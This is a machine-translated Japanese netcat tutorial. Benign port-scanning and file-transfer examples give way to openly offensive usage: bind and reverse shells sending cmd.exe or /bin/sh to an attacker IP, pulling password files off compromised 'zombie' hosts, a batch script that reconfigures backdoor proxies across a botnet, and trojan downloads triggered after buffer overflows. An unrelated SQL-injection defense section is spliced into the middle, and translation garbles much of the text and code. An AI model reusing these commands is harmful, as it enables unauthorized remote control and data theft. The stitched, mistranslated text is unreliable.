Linux ncコマンドの概要

Linux ncコマンドの概要

NC のフルネームは Netcat (Network Knife) で、作成者は Hobbit && ChrisWysopal です。強力な機能とコンパクトなサイズで有名で、「スイスアーミーナイフ」とも呼ばれています。 nc - TCP/IP スイスアーミーナイフ

nc は、オーバーフロー、バックリンク、テキストのアップロードなどによく使用されます。これは実際には非標準の Telnet クライアント プログラムです。これは putty.exe クライアント プログラムでもあります。

socat は nc の代替であり、nc++ とも呼ばれます。これは、netcat の N 倍の拡張バージョンです。 Socat は、ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl など、さまざまな接続方法をサポートしています。

機能説明: 強力なネットワークツール

構文: nc [-hlnruz][-g<ゲートウェイ...>][-G<ポインター数>][-i<遅延秒数>][-o<出力ファイル>][-p<通信ポート>]
[-s<送信元アドレス>][-v...][-w<タイムアウト秒数>][ホスト名][通信ポート...]

パラメータ:
-g<ゲートウェイ> ルーターのホップ通信ゲートウェイを設定します。最大 8 個まで設定できます。
-G <ポインターの数> ソース ルーティング ポインターを設定します。値は 4 の倍数です。
-h オンラインヘルプ。
-i<遅延(秒)> 情報の送信と通信ポートのスキャンの時間間隔を設定します。
-l 受信接続用のリッスン モード (ローカル ポートでリッスン)。
-n ドメイン ネーム サーバーを経由せずに IP アドレスを直接使用します。
-o<出力ファイル> はファイル名を指定し、送信されたデータを 16 進コードでファイルにダンプして保存します。
-p<通信ポート> ローカルホストが使用する通信ポートを設定します。
-r ローカルホストとリモートホスト間の通信ポートをランダムに指定します。
-s<送信元アドレス> データ パケットを送信するローカル ホストの IP アドレスを設定します。
-u UDP トランスポート プロトコルを使用します。
-v はコマンド実行プロセスを表示します。
-w<タイムアウト秒数> 接続を待機する時間を設定します。
-z 0 入出力モードを使用します。通信ポートをスキャンする場合にのみ使用されます。

[root@hatest1 ~]# type -a nc
ncは/usr/bin/ncです
[root@hatest1 ~]# rpm -q nc
NC-1.10-22 について

1) ポートスキャン

nc -v -z host.example.com 70-80 #ポート(70〜80)をスキャンします。範囲を指定できます。 -v 詳細情報を出力します。
192.168.228.222 のアドレスを 1-1000 にセットします。
root@~# nc -v -w 2 192.168.2.34 -z 21-24 # -z パラメータなしで試すこともできます nc: 192.168.2.34 ポート 21 (tcp) への接続が失敗しました: 接続が拒否されました
192.168.2.34 22ポート[tcp/ssh]への接続に成功しました。
nc: 192.168.2.34 ポート 23 (tcp) への接続に失敗しました: 接続が拒否されました
nc: 192.168.2.34 ポート 24 (tcp) への接続に失敗しました: 接続が拒否されました
ルート@10.1.1.43:~# nc -v -z -w2 127.0.0.1 1-100
ルート@10.1.1.43:~# nc -v -w 10 10.1.1.180 80
ルート@10.1.1.43:~# nc -v -w 10 10.1.1.180 -z 80-30000
# ローカルポートをリッスンします [email protected]:~# nc -l -p 1234 
[email protected]:~# netstat -tunlp | grep 1234
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN 15543/nc
# UDPポートをテストする [email protected]:web# netstat -tunlp
アクティブなインターネット接続(サーバーのみ)
プロトコル 受信Q 送信Q ローカルアドレス 外部アドレス 状態 PID/プログラム名  
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1111/sshd      
udp 0 0 0.0.0.0:68 0.0.0.0:* 887/dhclient
ルート@172.16.211.35:~# nc -vuz 172.16.211.34 68
172.16.211.34 68 ポート [udp/bootpc] への接続に成功しました。
nc -p 1234 -w 5 ホスト.example.com 80

ローカルポート1234からhost.example.comのポート80への接続を5秒のタイムアウトで確立します。

nc -u ホスト.example.com 53

uはUDP接続です

2) ファイルをリモートコピーする

ファイルを server1 から server2 にコピーします。

まず、nc を使用して server2 の監視を有効にし、server2 で実行します。

[root@hatest2 tmp]# nc -lp 1234 > インストール.log

server1 で実行:

[root@hatest1 ~]# ll インストール.log
-rw-r--r-- 1 ルート ルート 39693 2007年12月20日 install.log 
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < インストール.log

宛先ホストの監視

nc -l リスニングポート > 受信するファイル名 nc -l 4444 > cache.tar.gz

送信元ホストがリクエストを開始する

nc 宛先ホスト IP 宛先ポート nc 192.168.0.85 4444

netstatは次のようになります

[root@localhost jiangbao]# netstat -tpln
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 18166/nc

ディレクトリ転送

nginx-0.6.34 ディレクトリの内容を server1 から server2 にコピーします。

まず、nc を使用して server2 の監視を有効にし、server2 で実行します。

[root@hatest2 tmp]# nc -l 1234 |tar xzvf -

server1 で実行:
[

root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234

192.168.2.33 から 192.168.2.34 にファイルをコピーする

192.168.2.34の場合: nc -l 1234 > test.txt

192.168.2.33 の場合: nc 192.168.2.34 < test.txt

ハードドライブまたはパーティションのクローンを作成する

操作は上記のコピーと同様で、dd を使用してハードディスクまたはパーティションのデータを取得し、転送するだけです。

ハードディスクまたはパーティションのクローン作成操作は、マウントされたシステムでは実行しないでください。

したがって、インストール CD を使用して起動し、レスキュー モードに入って (または Knoppix ツール CD を使用して) システムを起動し、server2 で同様の監視アクションを実行する必要があります。

# nc -l -p 1234 | dd の =/dev/sda

server1 で転送を実行して、server1 から server2 への sda ハードディスクのクローン作成タスクを完了します。

# dd if=/dev/sda | nc 192.168.228.222 1234

3) シンプルなチャットツール

192.168.2.34の場合: nc -l 1234

192.168.2.33 の場合: nc 192.168.2.34 1234

このようにして、双方が相互に通信できるようになります。終了するには、Ctrl+C (または D) を使用します。

1234 の
127.0.0.1 1234 です

ポート1234で接続を確立し、互いに入力を送信します

4) ウェブページを保存する

# true の場合、nc -l -p 80 -q 1 < somepage.html; を実行します

5) HTTPヘッダーのシミュレーション

[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 ホスト: ispconfig.org リファラー: mypage.com ユーザーエージェント: my-browser
HTTP/1.1 200 OK日付:TUE、2008年12月16日07:23:24 GMTサーバー:Apache/2.2.6(UNIX)DAV/2 MOD_MONO/1.2.1 MOD_PYTHON/3.2.8 PYTHON/2.4.3 MOD_PERL/2.0.2 PERL/V5.8.8 SetCookie:Phpsessid = badrbis IRES:0キャッシュコントロール:ノーストア、ノーキャッシュ、必見、ポストチェック= 0、プライグマ:プライベート、ポストチェック= 0、最大時代= 0セットーキエ:own_sid = x cultay = culida - エンコード:Chunked Content-Type:Text/HTML [......]

nc コマンドの後に、赤字の内容を入力し、Enter キーを 2 回押すと、相手からの HTTP ヘッダー コンテンツが取得されます。

echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80

ホストに接続して実行する

6) ncコマンドを使用してmemcachedを操作する
1) データを保存する: printf "set key 0 10 6rnresultrn" |nc 192.168.2.34 11211
2) データを取得: printf "get keyrn" |nc 192.168.2.34 11211
3) データを削除する: printf "delete keyrn" |nc 192.168.2.34 11211
4) ステータスを確認します: printf "statsrn" |nc 192.168.2.34 11211
5) top コマンドをシミュレートしてステータスを確認します: watch "echo stats" |nc 192.168.2.34 11211
6) キャッシュをクリアします: printf "flush_allrn" |nc 192.168.2.34 11211 (注意してください。クリアするとキャッシュは消えてしまいます)

補足チュートリアル2

ncの使い方

Netcat は、ネットワーク セキュリティの「スイス アーミー ナイフ」として知られています。誰もが知っていると思いますが...

TCP または UDP プロトコルを使用してネットワーク接続を介してデータを読み書きするためのシンプルで便利なツールです。これは、他のプログラムやスクリプトによって簡単に直接実行できる安定したバックドア ツールとして設計されています。同時に、これは強力なネットワーク デバッグおよび検出ツールでもあり、必要なほぼすべての種類のネットワーク接続を確立でき、いくつかの興味深い組み込み機能を備えています (詳細については、以下の使用方法を参照してください)。 中国では WINDOWS 版が 2 種類あり、1 つは原作者の Chris Wysopal が書いたオリジナル版で、もう 1 つは「Red and Black」が編集した新しい「凝縮」版です。メインプログラムの「凝縮」バージョンはわずか 10KB 強です (10KB の NC では、下記の 4 番目と 5 番目の使用方法を完了できません。この機能を備えた元の NC は 60KB のようです: P)。「サイズ」は小さいですが、多くの作業を完了できます。

ソフトウェア紹介:
ツール名: Netcat
著者: ホビット & クリス・ワイソパル
ウェブサイト: http://www.atstake.com/research/tools/network_utilities/
カテゴリ: オープンソース プラットフォーム: Linux/BSD/Unix/Windows
WINDOWSバージョン番号: [v1.10 NT]

パラメータの紹介:

nc.exe -h を実行すると、各パラメータの使用方法を確認できます。
基本形式: nc [-options] hostname port[s] [ports] ...
nc -l -p port [オプション] [ホスト名] [ポート]
-d バックグラウンドモード
-e プログラムリダイレクト、接続されると実行されます [危険!!]
-g ゲートウェイ ソース ルーティング ホップ ポイント (最大 8 個) ルータ ホップ通信ゲートウェイを設定します。最大 8 個まで設定できます。
-G num ソースルーティング ポインター: 4、8、12、... ソースルーティング ポインターを 4 の倍数に設定します。
-h ヘルプ情報
-i 秒の遅延間隔
-l 受信接続用のリスニングモード(ローカルポートでリスニング)
-L 接続が閉じられた後もリッスンを続行する
-n はホスト名ではなく数値の IP アドレスを指定します。つまり、ドメイン ネーム サーバーを経由せずに IP アドレスを直接使用します。
-o ファイルはファイル名を指定し、送信されたデータを 16 進形式でファイルにダンプします。
-p port ローカルポート番号(ローカルポートを指定)
-r ランダムなローカルおよびリモートポート
-s addr ローカルソースアドレス
-t TELNET対話モードを使用する(telnetで応答する)
-u UDP モード
-v 詳細出力 - より詳細な情報を取得するには、2つの -v ( -vv ) を使用します。ポート情報を取得します
-w 秒タイムアウト
-z は入力と出力をオフにします (スキャンのみ)。ポートは MN 範囲形式で書き込むことができます。

基本的な使い方:

おそらく次のような用途があるでしょう:

1) リモートホストに接続します。例:
フォーマット: nc -nvv 192.168.xx 80
説明: 192.168.xxのTCPポート80に接続します
2) ローカルホストをリッスンします。例:
フォーマット: nc -l -p 80
説明: このマシンのTCPポート80をリッスンします
3) リモートホストをスキャンします。例:
フォーマット: nc -nvv -w2 -z 192.168.xx 80-445
説明: 192.168.xxのTCP80からTCP445までのすべてのポートをスキャンします
4) リモートホストバインディングシェルの例:
フォーマット: nc -l -p 5354 -t -ec:winntsystem32cmd.exe
説明: REMOTEホストのCMDSHELLをREMOTEホストのTCP5354ポートにバインドします。
5) リモート ホストはシェルにバインドし、逆方向に接続します。例:
フォーマット: nc -t -ec:winntsystem32cmd.exe 192.168.xx 5354
説明: REMOTE ホストの CMDSHELL をバインドし、192.168.xx の TCP5354 ポートに逆接続します。上記は最も基本的な使用方法です (実際、NC には他にも多くの使用方法があります。パイプ コマンド "|" やリダイレクト コマンド "<"、">" などと組み合わせると、コマンド機能はより強力になります...)。
高度な使用法:
6) 攻撃プログラムとして使用される例:
フォーマット 1: type.exe c:exploit.txt|nc -nvv 192.168.xx 80
フォーマット2: nc -nvv 192.168.xx 80 < c:exploit.txt
説明: 192.168.xx のポート 80 に接続し、そのパイプラインで c:exploit.txt の内容を送信します (2 つの形式は同じ効果があり、本質的に非常に似ています:P)
添付ファイル: c:exploit.txt はシェルコードなどです。
7) ハニーポットとして使用される[1]、例:
フォーマット: nc -L -p 80
説明: -L (L は大文字であることに注意してください) を使用すると、Ctrl + C が押されるまでポートを継続的に監視します。
8) ハニーポットとして使用される[2]、例:
フォーマット: nc -L -p 80 > c:log.txt
説明: -L を使用すると、ctrl+c が押されるまでポートを継続的に監視し、結果を c:log.txt に出力します。 '>' を '>>' に変更すると、ログを追加できます。
添付ファイル: c:\log.txt にログ等が入ります。
9) ハニーポットとして使用される[3]。例:
フォーマット 1: nc -L -p 80 < c:honeypot.txt
フォーマット 2: type.exe c:honeypot.txt|nc -L -p 80
説明: -L を使用して、ctrl+c が押されるまでポートを継続的に監視し、c:honeypot.txt の内容をパイプに送信します。
攻撃者は、アプリケーションがフォームに入力されたコンテンツを認証クエリに直接使用することを知っていれば、特別な SQL 文字列を入力してクエリを改ざんし、元の機能を変更しようとします。
システムを騙してアクセスを許可させます。攻撃者が引き起こす可能性のある被害はシステム環境によって異なりますが、システム環境は主にデータベースにアクセスするアプリケーションのセキュリティ権限によって決まります。
ユーザーのアカウントに管理者またはその他の高レベルの権限がある場合、攻撃者はデータベース テーブルに対して任意の操作を実行できる可能性があります。
これには、データの追加、削除、更新、さらにはテーブルの直接削除も含まれます。

2. どうすれば防げますか?

幸いなことに、ASP.NET アプリケーションが SQL インジェクション攻撃を受けるのを防ぐのはそれほど難しいことではありません。フォームに入力されたコンテンツを使用して SQL コマンドを構築する前に、すべての入力コンテンツをフィルター処理するだけで済みます。入力のフィルタリングはさまざまな方法で実行できます。

(1)SQLクエリが動的に構築される状況では、次の手法を使用できます。

まず、単一引用符を置き換えます。つまり、単独で表示されるすべての単一引用符を 2 つの単一引用符に変更して、攻撃者が SQL コマンドの意味を変更するのを防ぎます。前の例をもう一度見てみると、「Select * from Users Where login = or 1=1 AND password = or 1=1」は明らかに、「Select * from Users Where login = or 1=1 AND password = or 1=1」とは異なる結果になります。

2 番目: ユーザー入力のハイフンをすべて削除して、攻撃者が「Select * from Users Where login = mas -- AND password ="」などのクエリを作成できないようにします。このようなクエリの後半部分はコメント アウトされており、有効ではなくなったためです。攻撃者が有効なユーザー ログイン名を知っている限り、アクセスするためにユーザーのパスワードを知る必要はありません。

3 番目: クエリの実行に使用されるデータベース アカウントの権限を制限します。異なるユーザー アカウントを使用してクエリ、挿入、更新、削除操作を実行します。異なるアカウントで実行できる操作は分離されているため、元々 Select コマンドを実行するために使用された場所が Insert、Update、または Delete コマンドの実行に使用されることを防ぎます。

⑵ ストアドプロシージャを使用してすべてのクエリを実行します。 SQL パラメータは、攻撃者が一重引用符やハイフンを悪用できないような方法で渡されます。さらに、データベース権限を制限して特定のストアド プロシージャのみの実行を許可することができ、すべてのユーザー入力は呼び出されたストアド プロシージャのセキュリティ コンテキストに準拠する必要があるため、インジェクション攻撃が発生しにくくなります。

⑶ フォームまたはクエリ文字列の入力の長さを制限します。ユーザーのログイン名が最大 10 文字しかない場合は、フォームに入力された 10 文字以上を認識しないでください。これにより、攻撃者が SQL コマンドに有害なコードを挿入することが非常に困難になります。

⑷ ユーザー入力の正当性を確認し、入力内容に正当なデータのみが含まれていることを確認します。データのチェックはクライアント側とサーバー側の両方で実行する必要があります。サーバー側の検証を実行する理由は、クライアント側の検証メカニズムのセキュリティの弱さを補うためです。

クライアント側では、攻撃者が Web ページのソース コードを入手し、正当性を検証するスクリプトを変更し (または単にスクリプトを削除し)、変更されたフォームを通じて違法なコンテンツをサーバーに送信することが完全に可能です。したがって、検証操作が実際に実行されたことを確認する唯一の方法は、サーバー側でも検証を実行することです。 RegularExpressionValidator などの多くの組み込み検証オブジェクトを使用できます。これらのオブジェクトを使用すると、検証用のクライアント側スクリプトを自動的に生成できます。もちろん、サーバー側メソッド呼び出しを挿入することもできます。既製の検証オブジェクトが見つからない場合は、CustomValidator を使用して自分で作成できます。

⑸ ユーザーのログイン名、パスワードなどのデータを暗号化して保存します。ユーザーが入力したデータを暗号化し、それをデータベースに保存されているデータと比較することは、ユーザーが入力したデータを「消毒」することと同じです。ユーザーが入力したデータはデータベースにとって特別な意味を持たなくなるため、攻撃者が SQL コマンドを挿入するのを防ぐことができます。 System.Web.Security.formsAuthentication クラスには、入力データのサニタイズに最適な HashPasswordForStoringInConfigFile があります。

⑹ データを抽出するクエリによって返されるレコードの数を確認します。プログラムで 1 つのレコードのみが返される必要があるのに、実際には複数の行のレコードが返された場合は、エラーとして扱われます。

7626 の

ローカル ポート 7626 を開いて接続情報をリッスンし、フィードバックします。

誰かが Iceberg Trojan をスキャンすると、トロイの木馬に感染して 7626 を開いたと判断されます。これは、「Piggy Run」の機能に少し似ています。バッチファイルを追加して併用すると「ピグラン」になります。

nc -l -p 80 >>c:\\log.dat 

ローカルポート 80 への侵入があるかどうかを監視して記録したい場合は、このコマンドを使用します。この方法では、このマシンのポート 80 へのすべての攻撃が記録されます。

nc -l -p 123 -e cmd.exe または: nc -l -p 123 -t

オーバーフローを通じて他の人のマシンにアクセスできる場合は、上記のコマンドを実行できます。この機能は、cmd.exe を使用して、マシンのポート 123 への接続に応答します。

これにより、オーバーフローしたホストが Telnet ゾンビになります。また、コマンドを使用して、ブルートフォースをホストにアクティブに接続することもできます。私のIPは192.168.0.1です。

ブルートフォースマシンで実行します: nc -e cmd.exe 192.168.0.1 777 。次にローカルマシンで実行します: nc -l -p 777

これは、ボットがコンピューターのポート 777 に cmd.exe (シェル) をアクティブに応答することを意味します。次に、ローカル マシンのポート 777 をリッスンし、相手側の cmd を入力します。

これはリバウンドポートトロイの木馬の原理でもあります。

192.168.0.25 80 です

192.168.0.25 のポート 80 の情報を取得します。 IISのバージョンなど多くの重要な情報を取得できます

192.168.0.25 1-100 を

192.168.0.25 の 1 から 100 までの TCP ポートをスキャンします。

192.168.0.25 1-100 を使います

これは1から00までのUDPポートをスキャンします

nc -vv ip port //ポート検出:
RIVER [192.168.0.198] 19190 (?) open //開いているかどうかを表示します

スキャナー

nc -vv -w 5 ip ポート-ポート ポート 
nc -vv -z ip ポート-ポート ポート

このようなスキャンは多くの痕跡を残すため、システム管理者は特に注意する必要があります。

裏口

被害者のマシン: // 被害者のマシン nc -l -p port -e cmd.exe // win2000 
nc -l -p ポート -e /bin/sh // unix、linux 
攻撃者のマシン: // 攻撃者のマシン。 
nc ip -p port //victim_IP に接続してシェルを取得します。

逆接続

攻撃者のマシン: //通常は sql2.exe、リモート オーバーフロー、webdavx3.exe 攻撃。 
//または、wolf の逆接続。 
nc -vv -l -p ポート 
被害者のマシン: 
nc -e cmd.exe 攻撃者のIP -p ポート 
nc -e /bin/sh 攻撃者のIP -p ポート

または:

攻撃者のマシン: 
nc -vv -l -p ポート1 
nc -vv -l -p プロト2 
被害者のマシン: 
nc 攻撃者 IP ポート 1 | cmd.exe | nc 攻撃者 IP ポート 2 
nc 攻撃者_ip ポート1 | /bin/sh | nc 攻撃者_ip ポート2

139 では、nc.exe が NETBIOS よりも優先されるように、パラメータ -s (nc.exe -L -p 139 -d -e cmd.exe -s 他のマシンの IP) を追加する必要があります。

ファイルを転送:

攻撃者のマシン <-- 被害者のマシン // パスワード ファイルをゾンビ マシンからドラッグして戻します。 
nc -d -l -p port < path\filedest はシェルで実行できます。nc -vv attacker_ip port > path\file.txt を終了するには Ctrl+C が必要です // ゾンビは GUI インターフェイスの cmd.exe で実行する必要があります (ターミナル ログイン、FTP をインストールするほど便利ではありません)。そうしないと、Crrl+C を入力する方法がありません。
攻撃者のマシン --> 被害者のマシン // コマンド ファイルをゾンビ マシンにアップロードします。 nc -vv -l -p port > path\file.txt 終了するには Ctrl+C が必要です。 nc -dvictim_ip port < path\filedest シェルで実行できます // この方法の方が優れています。ターミナルにログインします。他のゾンビ マシンに侵入します。ログインするにはシェル モードを選択できます。

ポートデータのキャプチャ。

nc -vv -w 2 -o test.txt xfocus.Net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 構文エラー 
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # 、コマンド "" unr 
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # 認識されました... 
< 00000084 83 00 00 01 8f # .....

telnet、自動バッチ処理。

ncvict_ip port < path\file.cmd は実行プロセスを表示します。 
nc -vvvictory_ip port < path\file.cmd は実行プロセスを表示します。
nc -dvictim_ip port < path\file.cmd 静音モード。
_______________ファイル.cmd________________________ 
パスワード 
%windir% に移動します 
エコー []=[%windir%] 
: : : : 
CD \ 
MDテスト 
cd /d %windir%\system32\ 
ネットストップsksockserver 
snake.exe -config ポート 11111 
ネットスタートsksockserver 
出口 
_______________file.cmd__END___________________

########################################
ブロイラーの管理とブロイラー設定の変更
########################################

1) たとえば、ボットネット上のプロキシポートを一律に変更したい場合は、snake.exe を 11111、サービス名を「sksockserver」に変更し、winshell バックドアを使用します。ポート 1234 パスワード パスワード

コマンドの形式は次のとおりです。

modi.bat youip.txt
___________modi.bat___________________________ 
@if "%1"=="" echo エラー: ip.txt がありません && END へ移動
:始める 
@echo パスワード >a.cmd 
@echo s >>a.cmd 
@echo cd /d %%windir%%\system32\ >>a.cmd 
@net stop "sksockserver" >>a.cmd 
@snake.exe -config ポート 11111 >>a.cmd 
@net start "sksockserver" >>a.cmd 
@exit >>a.cmd
:自動 
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)
:終わり 
___________modi.bat__END_______________________

2)

@エコーオフ 
色f0 
:始める 
CL 
C:\nc -vv -w 3 -l -p 80>>80.txt 
スタートへ

ファイアウォールをオフにしてこのバッチ プロセスを実行すると、U 脆弱性の検出に関する多くの情報が監視されます。ほとんどの場合、3 つのグループに分かれて Nimda ウイルスがスキャンされます。
この方法ではブロイラー鶏が生まれます。品質は高くありませんが、安価な方法でもあります。

ブロイラーの特徴:
1.ユニコードの脆弱性
2.ゲストパスワードが空の場合、管理者グループのユーザー
3.その他の脆弱性はファイル転送に利用される - ncp

#!/bin/sh 
## rcp に似ていますが、netcat を高ポートで使用します ## 受信マシンで "ncp targetfile" を実行します 
## ファイルを送信するマシンで「ncp sourcefile receivesinghost」を実行します 
## 「nzp」が呼び出されると、転送されたファイルは圧縮されます ## ここで使用するポートを定義します。MYPORT=23456 を自由に選択できます
## nc がシステムパスにない場合は、次の行のコメントを解除して変更します # PATH=$:$ ; export PATH
## 次の行はパラメータ入力をチェックします。
テスト "$3" && echo "引数が多すぎます" && exit 1 
テスト! "$1" && echo "引数なし?" && exit 1 
me=`echo $0 | sed s+.*/++` 
test "$me" = "nzp" && echo [圧縮モード]
# 2 番目の引数の場合は、[既存の] ファイルを送信するホストです。 
テストが "$2" の場合、 
テスト! -f "$1" && echo "$1が見つかりません" && exit 1 
テスト「$me」=「nzp」の場合、 
  圧縮 -c < "$1" | nc -v -w 2 $2 $MYPORT && 終了 0 
それ以外 
  nc -v -w 2 $2 $MYPORT < "$1" && exit 0 
フィ 
echo "転送に失敗しました!" 
出口1 
フィ
# 受信マシンの現在のディレクトリに同じ名前のファイルがあるか if test -f "$1" ; then 
echo -n "$1 を上書きしますか?" 
読む aa 
テスト! "$aa" = "y" && echo "[punted!]" && exit 1 
フィ 
# 30 秒は十分すぎる時間ですが、必要に応じて変更してください。 
テスト「$me」=「nzp」の場合、 
# ここでの nc の使用法に注意してください。リダイレクト シンボルとパイプを組み合わせています。nc -v -w 30 -p $MYPORT -l <​​ ​​/dev/null | uncompress -c > "$1" && exit 0 
それ以外 
nc -v -w 30 -p $MYPORT -l <​​ ​​/dev/null > "$1" && exit 0 
フィ 
echo "転送に失敗しました!" 
# 転送が失敗した場合でも、$1 はすでに破棄されているのでクリーンアップします 
rm -f "$1" 
出口1

この場合、まずマシンAでQuackA# ncp ../abcdを実行するだけで済みます。

次に別のマシンBで

クワックB#ncp abcd 192.168.0.2 
quackb [192.168.0.1] 23456 (?)

Aに登場

quackb [192.168.0.1] 1027 から [192.168.0.2] へのオープン接続 
# ファイル転送が完了したかどうかを確認します。

===========================================================================
[ローカル操作] nc -v ip port
[コマンド説明] 特定の IP のポートをスキャンし、詳細な出力情報を返します。
===========================================================================
[ローカル操作] nc -v -z ip port-port
【コマンド説明】 特定のIPのポートを特定のポートにスキャンし、詳細な情報出力を返しますが、スキャン速度は遅いです。
===========================================================================
[ローカル操作] nc -v -z -u ip port-port
[コマンド説明] 特定のIPの特定のUDPポートを特定のUDPポートにスキャンし、詳細な情報出力を返しますが、スキャン速度は遅いです。
===========================================================================
[ローカル操作] nc -l -p 80
[コマンド説明] ローカルTCPポート80を開いてリッスンします。
===========================================================================
[ローカル操作] nc -l -v -p 80
[コマンド説明] ローカルTCPポート80を開き、監視情報を現在のCMDウィンドウに出力します。
===========================================================================
[ローカル操作] nc -l -p 80 > E:/log.dat
[コマンド説明] ローカルTCPポート80を開き、監視情報をE:/log.datの下のログファイルに出力します。
===========================================================================
[ローカル操作] nc -nvv 192.168.1.101 80
[コマンド説明] ホスト 192.168.1.101 のポート 80 に接続します。
===========================================================================
[ローカル操作] nc -nvv -w2 -z 192.168.1.101 80-1024
[コマンド説明] 192.168.1.101 のポート 80 ~ 1024 をスキャンします。接続タイムアウトは 2 秒です。
===========================================================================
[リモート操作] nc -l -p 2012 -t -e cmd.exe
[ローカル操作] nc -nvv 192.168.1.101 2012
[コマンドの説明] 転送接続方式を使用します。リモート ホストで nc -l -p 2012 -t -e cmd.exe を実行します (注: IP アドレスは 192.168.1.101 と想定)。これは、リモート ホストの CMD を [コマンドの説明] ポート 2012 にバインドすることを意味します。ローカル ホストがリモート ホストに正常に接続すると、CMD シェルがローカル ホストに返されます。ローカル ホストで nc -nvv 192.168.1.101 2012 を実行して [コマンドの説明] 、CMD をポート 2012 にリダイレクトしたリモート ホストに接続します (注: IP アドレスは 192.168.1.101 と想定)。
===========================================================================
[ローカル操作] nc -l -p 2012
【リモート操作】nc -t -e cmd.exe 192.168.1.102 2012
[コマンドの説明] 逆接続方法を使用します。まず、ローカル ホストで nc -l -p 2012 を実行して、ローカル ホスト (注: IP アドレスは 192.168.1.102 と想定) のポート 2012 を開き、リモート ホストの接続をリッスンします。次に、リモート ホストで nc -t -e cmd.exe 192.168.1.102 2012 を実行して、リモート ホストの CMD を IP アドレス 192.168.1.102、ポート番号 2012 のホストにリダイレクトします。接続が成功すると、IP アドレス 192.168.1.102 のホストに CMD シェルが表示されます。
===========================================================================
[ローカル操作] nc -v -n ip port < C:/sunzn.exe
【リモート操作】nc -v -l -p port > D:/sunzn.exe
[コマンドの説明] ローカルで nc -v -n ip port < C:/sunzn.exe を実行すると、ローカル C ドライブのルート ディレクトリから sunzn.exe ファイルの内容を読み取り、これらのデータをリモート ホストの対応するポートに送信します (注: コマンド ラインの IP は、ファイルを受信するリモート ホストの IP です)。リモート ホストで nc -v -l -p port > D:/sunzn.exe を実行すると、対応するポートをリッスンし、受信した情報データを D:/sunzn.exe に書き込みます。この 2 行のコマンドにより、ローカル ホストとリモート ホスト間のファイル転送が実現します。
===========================================================================
[ローカル操作] nc -L -p 8989<C:\ftp.txt (ftp.txtはFTP自動ダウンロードコマンドです)
[コマンドの説明] ポート 8989 をリッスンし、C:\ftp.txt の内容を、このマシンのポート 8989 に接続されている、ファイルを転送できる任意のホストに送信します (この使用法は、リバース [コマンドの説明] オーバーフローによく使用されます)。リモート ホストがオーバーフローすると、オーバーフローしたリモート ホストがローカル ホストのポート 8989 に接続すると、リモート ホストは自動的に FTP を使用して、トロイの木馬などの指定されたファイルをダウンロードします。
===========================================================================

簡単な使用方法チュートリアル:

コマンド1: リスニングコマンド

  nc -l -p ポート
  nc -l -p ポート > e:\log.dat
  nc -l -v -p ポート

パラメータの説明:
-l: 受信情報を待機するポート
-p: ローカルポート番号が続く
-v: ポート情報を表示します。-vv を使用すると、ポートに関するより詳細な情報が表示されます。

ヒント: 一般的に誰もが -vv を使うのが好きです

nc -l -p 80 //これは非常に単純で、ポート 80 をリッスンします。このコマンドをマシン上で実行すると、ポート 80 が開いているとみなされ、スキャナーを騙すことができます。
nc -l -p 80 > e:\log.dat //ディスクEのログファイルlog.datに詳細情報を書き込む
nc -l -v -p 80 //上記のコマンドと同様に、情報はNCを実行している画面に直接表示されます。

練習する:

例えば: nc -l -v -p 80

次にブラウザにローカルIPを入力します: 127.0.0.1

コマンド2: プログラム方向(リバウンドシェル方式)

nc -l -p ポート -t -e cmd.exe

ローカルマシン: nc -l -p port または nc -l -v -p port
ターゲットマシン: nc -e cmd.exe ip port

パラメータの説明:
2 つのパラメータ -l と -p について説明しました。
-e; 関数はプログラム指向です
-t: telnet形式で応答


nc -l -p 5277 -t -e cmd.exe  
 // 自分のマシンで実行しないでください。実行すると、マシンが TELNET サーバーになります。

コマンドの説明:

ローカル ポート 5277 で着信情報をリッスンし、CMD.exe プログラムをポート 5277 にリダイレクトします。誰かが接続すると、CMD.exe プログラムが TELNET の形式で接続要求に応答します。簡単に言えば、実際には TELNET ゾンビになるので、このコマンドはゾンビ上で実行する必要があります。

使用例:

ローカルマシン: nc -l -p port ( または nc -l -v -p port )
リモートマシン: nc -e cmd.exe ip port

皆さんは Gray Pigeon と Thief をご存知ですよね? どちらのツールも、リバウンド ポート タイプのトロイの木馬を使用します。

バウンスポートとは何ですか?

つまり、相手が感染している場合、相手に積極的に接続する必要はなく、つまり、クライアントから相手ホストで実行されているサーバーに接続要求を送信する必要もありません。代わりに、相手が積極的に接続します。多くのファイアウォールはアウトバウンド要求をチェックしないため、多くのファイアウォールが無効になる可能性があります。

ここでこれら 2 つのコマンドを組み合わせると、前述の 2 つのトロイの木馬と同じ効果が得られると言えます。

ローカル操作: nc -l -p 5277 (ローカルポート 5277 をリッスン) または nc -l -v -p 5277

次に、リモートマシンでnc -e cmd.exe ip 5277を実行してみてください。

(ブルートフォースマシンでは実際には「ip」と入力しないでください) xxx.xxx.xxx.xxx のように入力する必要があります。 !

これはリバウンドです~~ローカルマシンでSHELLを取得します

コマンド3: ポートをスキャンする

nc -v ipポート
nc -v -z ip ポート-ポート
nc -v -z -u ip ポート-ポート

パラメータの説明:

-z: スキャン時に使用する入出力をオフにします

nc -v ipポート  

//このコマンドは特定のポートをスキャンします

例えば:

ip 135 を  
//リモートホストのポート135をスキャンしてポートに関する簡単な情報を取得しますが、一部のポートについては、さらに詳しい情報も取得できます。

例: ポート80

nc -v ip 80 次にgetメソッドを使用して相手のWEBサーバー情報を取得します

nc -v -z ip ポート-ポート  
 //このコマンドは TCP ポートを素早くスキャンするために使用され、port-port はスキャンするポート範囲を指定します。

例えば:

ip 1-200 を  
//私のマシンのTCPポート1~200のオープンステータスを確認できます。nc -v -z -u ip port-port  
